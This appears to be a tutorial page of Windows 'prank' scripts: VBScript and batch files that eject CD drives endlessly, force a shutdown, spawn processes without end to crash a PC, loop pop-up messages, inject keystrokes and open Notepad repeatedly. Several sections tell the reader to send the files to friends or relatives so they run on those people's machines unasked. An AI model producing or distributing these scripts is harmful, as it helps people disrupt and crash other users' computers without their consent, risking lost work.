Infinite ejection of CD-DVD drives

This is a PC prank for ejecting CD-DVD drives in and out  infinite times continuously
A VB(Visual Basic) script is mainly used for this prank
Just follow these steps:
>>Go to start>Run>Type notepad to open an untitled notepad fiel
>>In notepad type the following script:

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
 loop End If

>>Now go to file >save as>In save as type option select all files
>>Save the file as ieject.vbs 
>>Now you have done a small bot for infinite ejection of CD-DVD drive

*To use it just double click the file
*To stop this Press Ctrl+Alt+Del to open task manager >Go to process tab >search for wscript.exe and end this process

AutoShutdown PC bot

Now you can scare your relatives and friends with this auto shutdown PC bot
>>Right Click on desktop >New>Shortcut
>>In shortcut window type:shutdown -s -t 60 -c "the message you want to display"
>>Select next> rename it to anything you like.
>>The number 60 in the code is time taken to shutdown your PC in seconds i.e., 60s
>>Now double cilck on the file and see the tragic.

*To stop this bot: Go to start>Run>Type shutdown-a >Hit enter (within 60s).

Easy way to crash a computer(Infinite way)

This is bad thing to say but any PC can be crashed within a minute by just following these steps:

>>Open notepad type
Start
Start
Start
Start
......8 times
>>Save this file as hax.bat
>>Run it
>>It opens up 8 times
>>Then type hax.bat at last line
>>Now this will open up start for infinite times

Cycle Message prank

This a small message cycle prank in which a message appears upto infinite times Just follow these steps:
>>Open notepad & type:
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN
>>Save this as msg.bat and send this file to any of your friends/relatives

*You can also increase the messages by typing msg * your message [Dont forget spaces wherever needed] before GOTO BEGIN and after :Begin .To stop this prank just remove all the text of  the file msg.bat by editing and saving it ,when the file is run.

Infinte Backspace

The backspace is  hit infinite times.All you have to do is to follow these steps:
>>Open new notepad file:
>>Type:

MsgBox "Let's go back infinte times"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

>>Save it as infiback.vbs  and send this file to any of you friends/relatives

*To stop this script from functioning ,Press Ctrl+Alt+Delete to open task manager and select process to see list of processes .Under processes select a process named WScript.exe , right click and end that process.

Keyboard Hack

Now you can hack anyones keyboard and make the keyboard automatically type the word you like to be typed for infinite times:
>>Open notepad
>>Type:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are idiot ."
loop

>>Save it as anyname.vbs and send this to any of your friends or relatives.

*To stop this script from functioning Press Ctrl+Alt+Del to open task manager .In processes tab select Wscript.exe and end its process.

Notepad to infinite

Now you can open notepad for infinite times conitnually in any PC by just following these steps:

>>Open notepad
>>Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

>>Save it as infinote.bat   and send it to any of your friends/relatives.